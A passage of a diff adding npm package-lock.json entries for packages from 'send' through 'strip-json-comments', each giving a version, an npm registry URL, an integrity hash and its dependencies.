"sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" + }, + "send": { + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz", + "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", + "peer": true, + "requires": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "dependencies": { + "ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "peer": true + }, + "on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "peer": true, + "requires": { + "ee-first": "1.1.1" + } + }, + "statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "peer": true + } + } + }, + "serialize-error": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-2.1.0.tgz", + "integrity": "sha512-ghgmKt5o4Tly5yEG/UJp8qTd0AN7Xalw4XBtDEKP655B699qMEtra1WlXeE6WIvdEG481JvRxULKsInq/iNysw==", + "peer": true + }, + "serialize-javascript": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-1.5.0.tgz", + "integrity": "sha512-Ga8c8NjAAp46Br4+0oZ2WxJCwIzwP60Gq1YPgU+39PiTVxyed/iKE/zyZI6+UlVYH5Q4PaQdHhcegIFPZTUfoQ==", + "dev": true + }, + "serve-static": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz", + "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", + "peer": true, + "requires": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.18.0" + } + }, + "set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=" + }, + "set-immediate-shim": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz", + "integrity": "sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E=", + "dev": true + }, + "set-value": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.0.tgz", + "integrity": "sha512-hw0yxk9GT/Hr5yJEYnHNKYXkIA8mVJgd9ditYZCe16ZczcaELYYcfvaXesNACk2O8O0nTiPQcQhGUQj8JLzeeg==", + "requires": { + "extend-shallow": "^2.0.1", + "is-extendable": "^0.1.1", + "is-plain-object": "^2.0.3", + "split-string": "^3.0.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "setimmediate": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", + "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=" + }, + "setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "peer": true + }, + "sha.js": { + "version": "2.4.8", + "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.8.tgz", + "integrity": "sha1-NwaMLEdra69ALRSknGf1l5IfY08=", + "dev": true, + "requires": { + "inherits": "^2.0.1" + } + }, + "shallow-clone": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-1.0.0.tgz", + "integrity": "sha512-oeXreoKR/SyNJtRJMAKPDSvd28OqEwG4eR/xc856cRGBII7gX9lvAqDxusPm0846z/w/hWYjI1NpKwJ00NHzRA==", + "dev": true, + "requires": { + "is-extendable": "^0.1.1", + "kind-of": "^5.0.0", + "mixin-object": "^2.0.1" + }, + "dependencies": { + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true + } + } + }, + "shasum": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/shasum/-/shasum-1.0.2.tgz", + "integrity": "sha1-5wEjENj0F/TetXEhUOVni4euVl8=", + "dev": true, + "requires": { + "json-stable-stringify": "~0.0.0", + "sha.js": "~2.4.4" + } + }, + "shebang-command": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", + "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", + "requires": { + "shebang-regex": "^1.0.0" + } + }, + "shebang-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", + "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=" + }, + "shell-quote": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.0.tgz", + "integrity": "sha512-QHsz8GgQIGKlRi24yFc6a6lN69Idnx634w49ay6+jA5yFh7a1UY+4Rp6HPx/L/1zcEDPEij8cIsiqR6bQsE5VQ==" + }, + "shelljs": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/shelljs/-/shelljs-0.3.0.tgz", + "integrity": "sha1-NZbmMHp4FUT1kfN9phg2DzHbV7E=", + "dev": true + }, + "shx": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/shx/-/shx-0.2.2.tgz", + "integrity": "sha1-CjBNAgsO3xMGrYFXDoDwNG31ijk=", + "dev": true, + "requires": { + "es6-object-assign": "^1.0.3", + "minimist": "^1.2.0", + "shelljs": "^0.7.3" + }, + "dependencies": { + "glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "shelljs": { + "version": "0.7.8", + "resolved": "https://registry.npmjs.org/shelljs/-/shelljs-0.7.8.tgz", + "integrity": "sha1-3svPh0sNHl+3LhSxZKloMEjprLM=", + "dev": true, + "requires": { + "glob": "^7.0.0", + "interpret": "^1.0.0", + "rechoir": "^0.6.2" + } + } + } + }, + "sigmund": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/sigmund/-/sigmund-1.0.1.tgz", + "integrity": "sha512-fCvEXfh6NWpm+YSuY2bpXb/VIihqWA6hLsgboC+0nl71Q7N7o2eaCW8mJa/NLvQhs6jpd3VZV4UiUQlV6+lc8g==", + "dev": true + }, + "signal-exit": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz", + "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=" + }, + "simple-concat": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.0.tgz", + "integrity": "sha1-c0TLuLbib7J9ZrL8hvn21Zl1IcY=", + "dev": true + }, + "simple-get": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-2.7.0.tgz", + "integrity": "sha512-RkE9rGPHcxYZ/baYmgJtOSM63vH0Vyq+ma5TijBcLla41SWlh8t6XYIGMR/oeZcmr+/G8k+zrClkkVrtnQ0esg==", + "dev": true, + "optional": true, + "requires": { + "decompress-response": "^3.3.0", + "once": "^1.3.1", + "simple-concat": "^1.0.0" + } + }, + "simple-swizzle": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/simple-swizzle/-/simple-swizzle-0.2.2.tgz", + "integrity": "sha1-pNprY1/8zMoz9w0Xy5JZLeleVXo=", + "dev": true, + "requires": { + "is-arrayish": "^0.3.1" + }, + "dependencies": { + "is-arrayish": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.3.2.tgz", + "integrity": "sha512-eVRqCvVlZbuw3GrM63ovNSNAeA1K16kaR/LRY/92w0zxQ5/1YzwblUX652i4Xs9RwAGjW9d9y6X88t8OaAJfWQ==", + "dev": true + } + } + }, + "sisteransi": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", + "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==", + "peer": true + }, + "slash": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-1.0.0.tgz", + "integrity": "sha1-xB8vbDn8FtHNF61LXYlhFK5HDVU=", + "dev": true + }, + "slice-ansi": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-1.0.0.tgz", + "integrity": "sha512-POqxBK6Lb3q6s047D/XsDVNPnF9Dl8JSaqe9h9lURl0OdNqy/ujDrOiIHtsqXMGbWWTIomRzAMaTyawAU//Reg==", + "dev": true, + "requires": { + "is-fullwidth-code-point": "^2.0.0" + }, + "dependencies": { + "is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true + } + } + }, + "snapdragon": { + "version": "0.8.2", + "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz", + "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", + "requires": { + "base": "^0.11.1", + "debug": "^2.2.0", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "map-cache": "^0.2.2", + "source-map": "^0.5.6", + "source-map-resolve": "^0.5.0", + "use": "^3.1.0" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "requires": { + "is-descriptor": "^0.1.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "snapdragon-node": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz", + "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", + "requires": { + "define-property": "^1.0.0", + "isobject": "^3.0.0", + "snapdragon-util": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==" + } + } + }, + "snapdragon-util": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz", + "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", + "requires": { + "kind-of": "^3.2.0" + } + }, + "sort-keys": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz", + "integrity": "sha1-RBttTTRnmPG05J6JIK37oOVD+a0=", + "dev": true, + "requires": { + "is-plain-obj": "^1.0.0" + } + }, + "source-list-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.0.tgz", + "integrity": "sha1-qqR0A/eyRakvvJfqCPJQ1gh+0IU=", + "dev": true + }, + "source-map": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.6.tgz", + "integrity": "sha1-dc449SvwczxafwwRjYEzSiu19BI=" + }, + "source-map-resolve": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.2.tgz", + "integrity": "sha512-MjqsvNwyz1s0k81Goz/9vRBe9SZdB09Bdw+/zYyO+3CuPk6fouTaxscHkgtE8jKvf01kVfl8riHzERQ/kefaSA==", + "requires": { + "atob": "^2.1.1", + "decode-uri-component": "^0.2.0", + "resolve-url": "^0.2.1", + "source-map-url": "^0.4.0", + "urix": "^0.1.0" + } + }, + "source-map-support": { + "version": "0.4.18", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.4.18.tgz", + "integrity": "sha512-try0/JqxPLF9nOjvSta7tVondkP5dwgyLDjVoyMDlmjugT2lRZ1OfsrYTkCd2hkDnJTKRbO/Rl3orm8vlsUzbA==", + "dev": true, + "requires": { + "source-map": "^0.5.6" + } + }, + "source-map-url": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.0.tgz", + "integrity": "sha1-PpNdfd1zYxuXZZlW1VEo6HtQhKM=" + }, + "spdx-correct": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.0.0.tgz", + "integrity": "sha512-N19o9z5cEyc8yQQPukRCZ9EUmb4HUpnrmaL/fxS2pBo2jbfcFRVuFZ/oFC+vZz0MNNk0h80iMn5/S6qGZOL5+g==", + "dev": true, + "requires": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "spdx-exceptions": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.1.0.tgz", + "integrity": "sha512-4K1NsmrlCU1JJgUrtgEeTVyfx8VaYea9J9LvARxhbHtVtohPs/gFGG5yy49beySjlIMhhXZ4QqujIZEfS4l6Cg==", + "dev": true + }, + "spdx-expression-parse": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz", + "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", + "dev": true, + "requires": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "spdx-license-ids": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.0.tgz", + "integrity": "sha512-2+EPwgbnmOIl8HjGBXXMd9NAu02vLjOO1nWw4kmeRDFyHn+M/ETfHxQUK0oXg8ctgVnl9t3rosNVsZ1jG61nDA==", + "dev": true + }, + "split-string": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz", + "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", + "requires": { + "extend-shallow": "^3.0.0" + } + }, + "sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=" + }, + "ssh2": { + "version": "0.4.15", + "resolved": "https://registry.npmjs.org/ssh2/-/ssh2-0.4.15.tgz", + "integrity": "sha1-B8b0EG2fe26m5N9jbGxT8fmBf/g=", + "dev": true, + "requires": { + "readable-stream": "~1.0.0", + "ssh2-streams": "~0.0.22" + }, + "dependencies": { + "isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", + "dev": true + }, + "readable-stream": { + "version": "1.0.34", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", + "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + } + } + }, + "ssh2-streams": { + "version": "0.0.23", + "resolved": "https://registry.npmjs.org/ssh2-streams/-/ssh2-streams-0.0.23.tgz", + "integrity": "sha1-ru8wgxu1/Er2qj9tCiYaQTUxYSs=", + "dev": true, + "requires": { + "asn1": "~0.2.0", + "readable-stream": "~1.0.0", + "streamsearch": "~0.1.2" + }, + "dependencies": { + "isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", + "dev": true + }, + "readable-stream": { + "version": "1.0.34", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", + "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + } + } + }, + "sshpk": { + "version": "1.14.2", + "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.14.2.tgz", + "integrity": "sha1-xvxhZIo9nE52T9P8306hBeSSupg=", + "dev": true, + "requires": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + } + }, + "ssri": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/ssri/-/ssri-5.3.0.tgz", + "integrity": "sha512-XRSIPqLij52MtgoQavH/x/dU1qVKtWUAAZeOHsR9c2Ddi4XerFy3mc1alf+dLJKl9EUIm/Ht+EowFkTUOA6GAQ==", + "dev": true, + "requires": { + "safe-buffer": "^5.1.1" + } + }, + "stable": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz", + "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", + "dev": true + }, + "stack-utils": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz", + "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==", + "peer": true, + "requires": { + "escape-string-regexp": "^2.0.0" + }, + "dependencies": { + "escape-string-regexp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", + "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", + "peer": true + } + } + }, + "stackframe": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/stackframe/-/stackframe-1.3.4.tgz", + "integrity": "sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw==", + "peer": true + }, + "stacktrace-parser": { + "version": "0.1.10", + "resolved": "https://registry.npmjs.org/stacktrace-parser/-/stacktrace-parser-0.1.10.tgz", + "integrity": "sha512-KJP1OCML99+8fhOHxwwzyWrlUuVX5GQ0ZpJTd1DFXhdkrvg1szxfHhawXUZ3g9TkXORQd4/WG68jMlQZ2p8wlg==", + "peer": true, + "requires": { + "type-fest": "^0.7.1" + } + }, + "static-extend": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", + "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=", + "requires": { + "define-property": "^0.2.5", + "object-copy": "^0.1.0" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "requires": { + "is-descriptor": "^0.1.0" + } + } + } + }, + "statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==", + "peer": true + }, + "stdout-stream": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz", + "integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==", + "dev": true, + "requires": { + "readable-stream": "^2.0.1" + } + }, + "stream-browserify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-2.0.1.tgz", + "integrity": "sha1-ZiZu5fm9uZQKTkUUyvtDu3Hlyds=", + "dev": true, + "requires": { + "inherits": "~2.0.1", + "readable-stream": "^2.0.2" + } + }, + "stream-buffers": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/stream-buffers/-/stream-buffers-2.2.0.tgz", + "integrity": "sha1-kdX1Ew0c75bc+n9yaUUYh0HQnuQ=", + "dev": true + }, + "stream-combiner2": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/stream-combiner2/-/stream-combiner2-1.1.1.tgz", + "integrity": "sha1-+02KFCDqNidk4hrUeAOXvry0HL4=", + "dev": true, + "requires": { + "duplexer2": "~0.1.0", + "readable-stream": "^2.0.2" + } + }, + "stream-each": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/stream-each/-/stream-each-1.2.2.tgz", + "integrity": "sha512-mc1dbFhGBxvTM3bIWmAAINbqiuAk9TATcfIQC8P+/+HJefgaiTlMn2dHvkX8qlI12KeYKSQ1Ua9RrIqrn1VPoA==", + "dev": true, + "requires": { + "end-of-stream": "^1.1.0", + "stream-shift": "^1.0.0" + } + }, + "stream-http": { + "version": "2.7.2", + "resolved": "https://registry.npmjs.org/stream-http/-/stream-http-2.7.2.tgz", + "integrity": "sha1-QKBQ7I3DtTsz2ZCUFcAsC/Gr+60=", + "dev": true, + "requires": { + "builtin-status-codes": "^3.0.0", + "inherits": "^2.0.1", + "readable-stream": "^2.2.6", + "to-arraybuffer": "^1.0.0", + "xtend": "^4.0.0" + } + }, + "stream-shift": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.0.tgz", + "integrity": "sha1-1cdSgl5TZ+eG944Y5EXqIjoVWVI=", + "dev": true + }, + "stream-splicer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/stream-splicer/-/stream-splicer-2.0.0.tgz", + "integrity": "sha1-G2O+Q4oTPktnHMGTUZdgAXWRDYM=", + "dev": true, + "requires": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.2" + } + }, + "streamsearch": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-0.1.2.tgz", + "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo=", + "dev": true + }, + "strict-uri-encode": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz", + "integrity": "sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM=", + "dev": true + }, + "string_decoder": { + "version": "0.10.31", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", + "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=", + "dev": true + }, + "string-template": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/string-template/-/string-template-0.2.1.tgz", + "integrity": "sha1-QpMuWYo1LQH8IuwzZ9nYTuxsmt0=", + "dev": true + }, + "string-to-js": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/string-to-js/-/string-to-js-0.0.1.tgz", + "integrity": "sha1-vxU8dgY2+qMHabgEoBlVUrp62A8=", + "dev": true + }, + "string-width": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", + "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "dev": true, + "requires": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + } + }, + "strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "requires": { + "ansi-regex": "^2.0.0" + } + }, + "strip-bom": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz", + "integrity": "sha1-YhmoVhZSBJHzV4i9vxRHqZx+aw4=", + "dev": true, + "requires": { + "is-utf8": "^0.2.0" + } + }, + "strip-eof": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz", + "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=" + }, + "strip-indent": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-1.0.1.tgz", + "integrity": "sha1-DHlipq3vp7vUrDZkYKY4VSrhoKI=", + "dev": true, + "requires": { + "get-stdin": "^4.0.1" + } + }, + "strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", + "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", + "dev": true + }, + 